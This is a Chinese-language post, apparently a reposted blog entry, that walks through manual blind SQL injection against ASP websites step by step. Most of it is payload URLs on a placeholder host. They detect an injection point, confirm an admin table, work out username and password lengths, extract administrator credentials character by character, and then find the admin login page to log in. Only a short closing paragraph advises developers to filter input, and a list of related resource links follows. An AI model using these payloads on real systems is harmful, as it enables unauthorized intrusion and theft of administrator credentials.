引用
1. SQL injection可以说是一种漏洞,也可以说成是一种攻击方法,程序中的变量处理不当,对用户提交的数据过滤不足,都可能产生这个漏洞,而攻击原理就是利用用户提交或可修改的数据,把想要的SQL语句插入到系统实际SQL语句中,轻则获得敏感的信息,重则控制服务器。SQL injection并不紧紧局限在Mssql数据库中,Access、Mysql、Oracle、Sybase都可以进行SQL injection攻击。
2.在大多数站点中,我们并不知道其程序代码,靠任何扫描器也不可能发现SQL injection漏洞,这时就要靠手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号 .
3.检测手段(and 1=1 和and 1=2)
引用
http://www.xxx.xx/xxx/show.asp?id=xx and 1=1
http://www.xxx.xx/xxx/show.asp?id=xx and 1=2
两种返回不同页面,则找到注入点
4.试探是否存在管理员列表
引用
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin)
正常返回则存在管理员列表
5. 试探密码长度
引用
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where len(username)>5)
正常返回则表示密码大于5位(为什么选择5位呢?因为很多时候使用的是admin)
引用
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where len(username) < 13)
通过大于5和小与13来给确定一个范围。然后使用等于来命中密码的长度
引用
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where len(username)="确定密码长度")
6. 试探用户名
引用
http://www.xxx.xx/xxx/show.asp?id=xx and 1 =(select min(id) from admin where left(username,1)='1')
正常返回, 确定管理员编号在第一位
7.搜索站长的ID
8.测试搜索的ID
引用
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where left(username,密码的长度)='站长的ID')
9. 试探密码
引用
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where left(password,1)='1')
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where left(password,密码的长度)='密码')
注意:
引用
如果在left(pass,1)=后面是数字,那么要把数字用单引号包含起来,例: left(pass,1)='1' 否则程序会出错。
10.找出管理员登陆界面
一般是后缀是:adminlogin.asp、login.asp、admin/login.asp等等
11. 登陆系统
先分析了SQL Injection的大致步骤。通过分析注入攻击的思维来给进行安全预防。一般情况下,如果是一个完整的系统进行开发和运行在SQL Injection将进行了很好的预防。不管在升级或者新增一个新页面或者新功能的时候,由于开发者不是整个系统的开发者或者其他什么原因。很可能出现SQL Injection点。
总结:预防SQL Injection就必须对SQL Injection有很好的了解。不要相信用户提交的数据一定要进行很好的过滤。不过现在有一些好的模板可以帮助过滤。但是编程人员一定要提高警惕。
分享到:
相关推荐
sql 注入 sql injection 09年关于sql注入的新书 pdf高清英文原版
Microsoft Source Code Analyzer for SQL Injection 这款被称作 MSCASI 的工具可以检测 ASP 代码并发现其中的 SQL INJECTION 漏洞(ASP 代码以 SQL INJECTION 漏洞著称),你需要向 MSCASI 提供原始代码,MSCASI 会...
Advanced SQL Injection In SQL Server Applications
SQL注入解析 解决方案 sql injection php+mysql的sql注入。做个好的程序员。写出健壮的程序。可靠的程序。
Web应用的安全攻防之SQL注入攻击(SQL Injection)Web应用的安全攻防之SQL注入攻击(SQL Injection)
SQL Injection Cheat Sheet
pangolin sql injection tool
防sql注入式攻击SQLInjection
SQL Injection攻击检测工具,对基于b/s架构的系统很有帮助,分析漏洞,减少攻击。
Anley, C. (2002). "Advanced SQL injection in SQL server applications." White paper, Next Generation Security Software Ltd.
浅谈sql注入式(SQL injection)攻击与防范
SQL Injection Pocket Reference.docx
SQL Injection Attacks and Defense.pdf
SQL Injection Web Applications Vulnerable
MySQL SQL Injection Cheat Sheet .doc
sql注入式 sql注入式(SQL injection)攻击与防范
advanced sql injection study
是一套毕业设计,采用VS2008作为平台,C#+SQL Server 2000开发出的和套精彩的设计,得到了指导老师的美誉!
hwo to provent from sql-injection
SQL相关资料